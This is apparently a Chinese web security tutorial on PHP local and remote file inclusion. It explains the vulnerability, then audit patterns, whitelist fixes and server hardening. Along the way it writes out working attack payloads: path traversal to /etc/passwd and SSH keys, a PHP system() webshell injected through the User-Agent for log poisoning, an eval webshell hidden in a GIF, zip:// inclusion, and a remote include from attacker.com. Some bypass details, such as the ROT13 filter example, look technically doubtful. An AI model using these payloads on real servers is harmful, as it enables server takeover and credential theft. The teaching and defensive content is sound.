1. 项目概述:从“包含”到“沦陷”的攻防博弈
文件包含漏洞,一个在Web安全领域经久不衰的经典议题。它不像SQL注入那样直接窃取数据,也不像XSS那样在用户端弹窗,但它往往扮演着更致命的“跳板”角色——一个看似无害的读取文件功能,可能成为攻击者直通服务器核心的隐秘通道。无论是本地文件包含(LFI)还是远程文件包含(RFI),其本质都是应用程序在动态包含文件时,未对用户输入进行充分过滤,导致攻击者能够操控包含路径,读取敏感文件甚至执行任意代码。
我处理过不少因为文件包含漏洞导致整站沦陷的应急响应案例。攻击者往往从一个不起眼的参数入手,比如?page=about.php,通过路径遍历读取/etc/passwd,接着利用日志文件、会话文件或上传临时文件写入Webshell,最终完全控制服务器。这个过程环环相扣,充满了技巧性。而随着PHP等语言中各种伪协议(如php://filter,zip://,phar://)的“助攻”,文件包含的利用方式变得更加多样和隐蔽,甚至能绕过一些基础的过滤措施。
本篇文章,我们就深入这个“通用漏洞”的腹地。我会带你拆解LFI和RFI的核心原理,手把手演示如何利用编码算法(如Base64、旋转编码)来绕过WAF或过滤规则,并最终落脚到代码审计层面,告诉你如何在源码中精准定位和修复这类问题。无论你是刚接触Web安全的初学者,还是想深化漏洞理解的安全从业者,这篇文章都将提供一套从理论到实战的完整视角。
2. 漏洞原理深度拆解:为什么“包含”会出问题?
要理解文件包含漏洞,首先得明白Web应用为什么会需要“包含”文件。这源于代码复用的需求。想象一下,一个网站有几十个页面,每个页面都有相同的头部导航栏、尾部版权信息。聪明的开发者不会把这些HTML代码在每个页面都复制粘贴一遍,而是会把这些公共部分写成独立的文件(比如header.php,footer.php),然后在每个页面里通过一个函数“包含”进来。
在PHP中,最常见的包含函数有四个:include(),require(),include_once(),require_once()。它们的区别主要在于处理包含失败的方式和是否重复包含,但漏洞产生的根源是相同的:它们都接受一个动态的文件路径作为参数。
2.1 LFI与RFI的核心区别
本地文件包含(LFI):攻击者能够包含并读取服务器本地的文件。这个“本地”指的是Web服务器操作系统上的文件系统。
- 攻击场景:参数完全可控或部分可控,且服务器未禁止访问超出Web目录的文件。
- 危害:读取系统敏感文件(如
/etc/passwd,/proc/self/environ)、配置文件(数据库连接信息)、应用程序源码等。 - 关键点:LFI能否进一步转化为代码执行,取决于能否找到或创造出一个包含可执行代码的文件在服务器上,并让应用包含它。这通常需要结合其他漏洞或利用服务器特性(如日志注入)。
远程文件包含(RFI):攻击者能够包含一个远程服务器上的文件(如http://attacker.com/shell.txt),并且目标服务器会将该远程文件的内容当作PHP代码来执行。
- 攻击场景:除了输入可控,还需要一个更关键的条件:PHP配置中的
allow_url_include选项设置为On(默认是Off)。这个条件在现代PHP环境中越来越难以满足。 - 危害:直接执行远程恶意代码,获取Webshell,危害性极高。
- 现状:由于安全意识的提升和默认配置的收紧,纯粹的RFI漏洞在互联网上已相对少见,但在内部网络或特定配置环境下仍可能遇到。
两者的根本区别在于包含资源的来源。LFI是“向内”挖,利用服务器已有的资源;RFI是“向外”引,从外部引入攻击载荷。从防御难度上看,关闭allow_url_include就能基本杜绝RFI,而LFI的防御则需要更精细的输入过滤和路径控制。
2.2 伪协议:给文件包含插上“翅膀”
PHP提供了一系列封装协议,它们像是一个个特殊的“文件系统”,可以访问不同的数据流。在文件包含的语境下,这些协议成了攻击者绕过防御的利器。最需要关注的是以下几个:
php://filter:这是LFI利用中最常青的协议。它本身不执行代码,但可以对数据进行读写前的过滤转换。- 经典利用:
php://filter/convert.base64-encode/resource=index.php。这行代码会让PHP以Base64编码的形式读取index.php的源码并输出。为什么有用?因为直接包含.php文件,其中的PHP代码会被服务器执行,我们看不到源码。而通过convert.base64-encode过滤器,我们拿到的是编码后的文本,解码后即可获得清晰的源代码,用于后续的代码审计寻找更多漏洞。 - 其他过滤器:除了base64,还有
string.rot13(ROT13编码)、string.toupper等,可用于简单的编码转换或测试过滤器是否被允许。
- 经典利用:
zip://与phar://:这两个协议常用于绕过文件上传限制,实现“文件包含+文件上传”的组合攻击。- 利用逻辑:假设网站不允许上传
.php文件,但允许上传.zip或图片。攻击者可以创建一个ZIP压缩包,里面包含一个名为shell.php的Webshell,然后将这个压缩包后缀改为.jpg上传。上传成功后,通过文件包含漏洞,使用zip:///path/to/uploaded.jpg%23shell.php(注意#需要URL编码为%23)来包含并执行压缩包内的PHP文件。phar://协议原理类似,用于包含PHAR(PHP归档)文件中的内容。
- 利用逻辑:假设网站不允许上传
data://:这是另一个可能用于执行代码的协议,它允许直接在URI中嵌入数据。例如:data://text/plain,<?php phpinfo();?>。它的生效同样依赖于allow_url_include配置为On,因此常与RFI条件一同考虑。
注意:伪协议的利用高度依赖于PHP版本和配置。在实际测试中,需要逐一尝试。
php://filter的利用条件最为宽松,因此也最常见。
3. 利用技巧与编码绕过实战
知道了原理,我们来看看攻击者具体怎么玩。文件包含的利用过程,就是一个与防御规则“斗智斗勇”的过程。
3.1 基础利用:路径遍历与敏感文件读取
这是LFI最直接的利用方式。假设有一个URL:http://target.com/index.php?file=news.php。
- 尝试目录穿越:将参数改为
../../../../etc/passwd。这里的../表示上一级目录,通过多次使用尝试跳出Web根目录,访问系统文件。 - 使用绝对路径:如果知道Web目录的绝对路径(如
/var/www/html),可以直接尝试/etc/passwd(但包含函数通常会将相对路径基于当前脚本所在目录解析,直接绝对路径可能无效,取决于代码实现)。 - 常见敏感文件清单:
/etc/passwd:确认漏洞存在(所有用户可读)。/etc/shadow:读取哈希(通常需要root权限,很难)。~/.bash_history,~/.ssh/id_rsa:读取用户历史命令和私钥。../config.php,../../config/database.php:读取应用配置文件。/proc/self/environ:包含环境变量,如果其中存在HTTP_USER_AGENT等用户可控字段,可尝试注入代码。- 日志文件:如
/var/log/apache2/access.log,通过User-Agent注入PHP代码,再包含该日志文件以执行代码。
3.2 编码绕过的艺术
当简单的../被WAF或过滤函数拦截时,编码绕过就上场了。其核心思想是:让攻击载荷在到达后端应用逻辑时,还原成可被解析的有效形式。
- URL编码:这是最基本的。
../可以被编码为%2e%2e%2f或..%2f。双重编码也可能有效:%252e%252e%252f(%25是%本身的编码)。 - Base64编码的妙用:主要与
php://filter协议结合。- 我们之前提到用
convert.base64-encode读取源码。反过来,如果过滤了php关键字呢?可以用Base64编码整个协议字符串吗?不行,因为php://这部分需要被PHP识别为协议头。 - 但有一种场景:如果代码是
include($_GET['file'] . '.php');,即强制添加后缀。我们可以传入php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8%2b,其中PD9waHAgcGhwaW5mbygpOz8%2b是<?php phpinfo();?>的Base64编码。convert.base64-decode过滤器会先解码这段字符串,还原出PHP代码,然后再将其作为资源包含。但这里有个巨大坑点:php://filter在解码时,会忽略非Base64字符。而我们传入的字符串里,/、:、=都不是标准Base64字符集(A-Z,a-z,0-9,+,/)里的,这会导致解码失败。因此,这种利用方式对载荷的纯净度要求极高,实战中成功率不高,更常用于证明漏洞存在或传递简单信息。
- 我们之前提到用
- 旋转编码(ROT13):
php://filter/convert.string.rot13/resource=<?cuc cucvasb();?>。ROT13编码下,php变成了cuc,phpinfo()变成了cucvasb()。包含时,过滤器会将其旋转回来变回可执行的PHP代码。这可以绕过一些简单的基于关键字的黑名单过滤。
3.3 组合技:从文件读取到代码执行
单纯的读文件危害有限,攻击者的终极目标是执行命令。
日志文件注入:
- 找到Web服务器的访问日志路径(如Apache的
/var/log/apache2/access.log)。 - 构造一个请求,在User-Agent、Referer或Cookie中插入PHP代码,例如:
User-Agent: <?php system($_GET[‘cmd’]);?>。 - 利用LFI漏洞去包含这个日志文件:
?file=../../../../var/log/apache2/access.log。 - 如果日志文件内容被当作PHP解析,那么我们在User-Agent里注入的代码就会执行。此时再传入
&cmd=id,就能执行系统命令了。 - 实操心得:日志文件通常很大,包含可能导致进程超时或内存耗尽。最好先通过LFI读取日志文件末尾几行,确认注入的代码是否成功写入(可以使用
tail命令的思路,但需要找到日志文件的具体格式)。另外,现代服务器可能会对日志内容进行转义,降低成功率。
- 找到Web服务器的访问日志路径(如Apache的
利用/proc文件系统:
- Linux的
/proc/self/environ文件包含了当前进程的环境变量,其中HTTP_USER_AGENT等同样是用户可控的。 - 通过污染这些环境变量(例如修改User-Agent为PHP代码),再包含
/proc/self/environ文件,也可能实现代码执行。 - 注意事项:
/proc/self/environ的利用条件比较苛刻,需要进程环境变量确实被污染且能被包含解析。很多时候它更适合作为信息泄露的源头,查看数据库连接字符串等。
- Linux的
利用临时文件/上传文件:
- 如果网站有文件上传功能,但限制了后缀,可以尝试上传一个内容为PHP代码的图片文件(在文件头添加GIF89a等标识,后面跟PHP代码)。
- 通过LFI漏洞,结合
zip://或phar://协议,或者在某些特定条件下直接包含上传的临时文件(需要知道临时文件名,通常很难预测),来执行代码。 - 这是LFI与上传漏洞的经典结合。
4. 代码审计:在源头狩猎漏洞
防御的起点是理解漏洞如何产生。从代码审计视角看,文件包含漏洞的根源就两个字:信任。程序过度信任了用户输入的文件路径。
4.1 漏洞代码模式识别
审计时,我们像鹰一样搜索所有包含函数(include,require,include_once,require_once)的调用点,并检查它们的参数是否用户可控。
模式一:直接拼接,毫无防护
$page = $_GET['page']; include('/pages/' . $page . '.php'); // 危险!这是最典型的漏洞模式。攻击者可以传入../../../etc/passwd,拼接后变成/pages/../../../etc/passwd.php,穿越目录。
模式二:使用了“安全”函数,但被绕过
$file = str_replace('../', '', $_GET['file']); // 试图过滤目录穿越 include($file);这里使用了简单的字符串替换。但攻击者可以输入....//,过滤掉中间的../后,剩下的部分又组合成了../。或者使用..\(Windows路径分隔符)进行绕过。这种过滤是不彻底的。
模式三:动态包含,路径可控
$module = $_GET['module']; $action = $_GET['action']; include($module . '/' . $action . '.php'); // 两个参数都可能可控这种模式给了攻击者更大的操作空间,可能同时控制目录和文件名。
模式四:配置文件中的包含
$config = parse_ini_file('config.ini'); include($config['template_path'] . '/header.php');如果config.ini文件内容用户可控(例如通过文件上传覆盖),那么template_path就可能被设置为恶意路径。
4.2 安全的包含方案设计
知道了漏洞模式,修复就有了方向。核心原则:白名单优于黑名单,静态映射优于动态拼接。
白名单机制:这是最有效的方法。
$allowed_pages = ['home', 'about', 'contact', 'news']; $page = $_GET['page']; if (in_array($page, $allowed_pages)) { include('/pages/' . $page . '.php'); } else { include('/pages/error.php'); }只允许包含预定义好的文件,从根本上杜绝了路径操控。
严格路径校验:
$base_dir = '/var/www/html/pages/'; $file = $_GET['file']; $real_path = realpath($base_dir . $file . '.php'); // 检查最终真实路径是否以$base_dir开头 if ($real_path && strpos($real_path, $base_dir) === 0 && is_file($real_path)) { include($real_path); } else { die('Invalid file request.'); }使用
realpath()函数解析出绝对路径,并检查该路径是否在允许的基目录之下。注意realpath()会解析符号链接,需结合实际情况使用。避免动态包含:如果业务逻辑允许,尽量使用静态的包含语句或自动加载机制(如PSR-4),彻底移除用户输入与包含路径的关联。
设置PHP安全配置:
- 将
open_basedir限制在Web应用必要的目录内,防止跨目录访问。 - 确保
allow_url_include和allow_url_fopen设置为Off(默认值),关闭RFI的可能性。 - 这些是加固服务器的最后一道防线,不能替代代码层面的修复。
- 将
4.3 审计工具与技巧
手动审计固然重要,但借助工具能提升效率。
- 静态分析工具(SAST):如RIPS、SonarQube、Fortify等,可以自动扫描源代码,标记出可能存在文件包含漏洞的函数调用点。但它们会产生误报,需要人工复核。
- 代码搜索:在IDE或命令行中使用
grep -r "include.*\$_" .或grep -r "require.*\$_" .快速定位所有包含用户变量的包含语句。 - 关注“入口点”:审计时,从用户可控的输入点(
$_GET,$_POST,$_COOKIE,$_REQUEST)开始,跟踪数据流(Data Flow),看它最终是否流入了包含函数的参数中。这个过程叫做“污点跟踪”。
5. 实战攻防演练与深度排查
理论说再多,不如动手练一遍。我们构建一个简单的漏洞场景,并模拟完整的攻击链。
假设场景:一个简单的PHP网站,通过index.php?page=xxx来加载不同页面。 漏洞代码 (index.php):
<?php $page = $_GET['page'] ?? 'home'; include('templates/' . $page . '.php'); ?>5.1 攻击方视角:步步为营
信息收集与漏洞探测:
- 访问
index.php?page=../../../../etc/passwd。如果页面返回了passwd文件的内容,说明存在LFI。 - 尝试
index.php?page=php://filter/convert.base64-encode/resource=index.php,查看源码,确认过滤逻辑。
- 访问
尝试代码执行(日志注入):
- 首先需要知道日志路径。可以尝试常见路径,或通过读取
/proc/self/fd/下的文件描述符、包含错误信息等方式推测。 - 假设日志路径是
/var/log/apache2/access.log。使用curl或Burp Suite发送一个请求:GET /index.php?page=test HTTP/1.1 Host: target.com User-Agent: <?php system($_GET['c']);?> - 然后包含日志文件:
index.php?page=../../../../var/log/apache2/access.log&c=id。观察返回结果是否包含命令id的执行结果。
- 首先需要知道日志路径。可以尝试常见路径,或通过读取
利用伪协议获取Webshell:
- 如果日志注入失败,或者想更稳定地控制。我们可以尝试利用
php://input(需要allow_url_include=On)或文件上传组合技。 - 假设网站有头像上传功能,只检查文件头。我们可以制作一个包含Webshell代码的GIF文件(GIF89a后面跟
<?php eval($_POST[‘cmd’]);?>),上传后得到路径/uploads/avatar_123.jpg。 - 通过包含+
zip://协议执行(需要先将恶意文件压缩成ZIP,再改后缀上传):index.php?page=zip:///absolute/path/to/uploads/avatar_123.jpg%23shell.php。
- 如果日志注入失败,或者想更稳定地控制。我们可以尝试利用
5.2 防守方视角:加固与监控
代码修复:将漏洞代码改为白名单模式。
<?php $allowed = ['home', 'about', 'contact']; $page = $_GET['page'] ?? 'home'; if (!in_array($page, $allowed)) { $page = 'home'; } include('templates/' . $page . '.php'); ?>服务器加固:
- 在
php.ini中设置:open_basedir = /var/www/html:/tmp(根据实际情况调整),将PHP可访问的文件系统限制在最小范围。 - 确认
allow_url_include = Off。 - 以非特权用户(如
www-data)运行Web服务,降低被读取敏感系统文件的风险。 - 确保Web目录的权限设置正确,避免日志文件、配置文件等被Web用户读取。
- 在
WAF/IDS规则:
- 部署Web应用防火墙,设置规则拦截包含
../、..\、php://、zip://等危险字符串的请求。 - 注意规则可能被编码绕过,需要部署能进行多层解码检测的引擎。
- 部署Web应用防火墙,设置规则拦截包含
监控与告警:
- 监控Web日志中是否出现大量包含
../、etc/passwd、php://filter等关键字的请求。 - 监控服务器上是否在Web目录外创建了异常的可执行文件。
- 对包含函数的调用进行审计日志记录,记录包含的文件路径。
- 监控Web日志中是否出现大量包含
5.3 常见问题排查实录
在实际渗透测试或防御中,你会遇到各种“奇怪”的情况。
问题1:包含路径明明存在,却报“No such file or directory”错误?
- 排查思路:
- 检查当前工作目录(
getcwd())。包含函数的相对路径是基于当前工作目录的,不一定是当前脚本所在目录。使用__DIR__魔术常量(PHP 5.3+)来获取当前脚本的绝对目录,然后拼接路径更可靠:include(__DIR__ . ‘/templates/’ . $page . ‘.php’);。 - 检查文件权限。Web进程用户(如
www-data)是否有权读取目标文件? - 检查路径中的空格或特殊字符是否被错误处理。URL中的空格可能被编码为
+或%20,后端处理不当会导致路径解析错误。
- 检查当前工作目录(
问题2:使用了realpath()检查,为什么还有漏洞?
- 可能原因:检查逻辑有误。
strpos($real_path, $base_dir) === 0这个检查是必要的。如果只是比较是否相等,攻击者可能通过符号链接(symlink)来绕过。确保使用的是===严格比较,且$base_dir以目录分隔符结尾(如/var/www/html/),防止部分匹配(如/var/www/html_secret)。
问题3:攻击包含日志文件没有成功执行代码?
- 可能原因:
- 日志文件内容被HTML转义了。查看页面源代码,看
<?php ?>标签是否被显示成了<?php ?>。 - 日志文件的权限是只读追加(append-only),Web进程无法读取。检查日志文件权限。
- 注入的代码被日志系统截断或过滤了。有些日志组件会过滤特殊字符。
- 最关键的一点:包含日志文件时,整个日志文件都会被当作PHP解析。如果日志文件开头部分有非PHP内容(比如之前的日志记录),会导致PHP解析器在遇到第一个非PHP标签(如普通的HTTP日志行)时,就抛出语法错误而停止。因此,注入的代码必须位于文件开头,或者保证文件内容全部是有效的PHP代码,这非常困难。更可行的办法是利用
/proc/self/environ或/proc/self/fd/下的文件描述符,这些文件通常更“干净”。
- 日志文件内容被HTML转义了。查看页面源代码,看
问题4:在CTF或靶场中遇到过滤了php关键字,如何利用?
- 尝试方法:
- 大小写绕过:
PHP://input(某些环境下不区分大小写)。 - 使用其他协议:
file://,http://(如果允许),zip://。 - 利用编码:
php://filter被过滤,可以尝试用php://filter的别名?PHP没有别名。但可以考虑用convert.iconv.*过滤器进行字符集转换,构造特殊payload,但这需要深入理解过滤器链。 - 终极思路:如果只是过滤了“php://”这个字符串,但允许包含本地文件,那么重点回到传统的路径遍历和日志/环境变量注入上。
- 大小写绕过:
文件包含漏洞的魅力在于它的“桥梁”作用。它很少单独造成毁灭性打击,但一旦与其他漏洞(如上传、配置错误、信息泄露)结合,就能形成致命的攻击链。作为防御者,我们需要在代码层面筑牢白名单的堤坝,在运维层面收紧权限和配置的篱笆。作为攻击者(在授权测试中),则需要灵活运用各种协议、编码和组合技巧,去发现和验证这条隐秘的通道。攻防的博弈,就在这一“包”一“防”之间持续上演。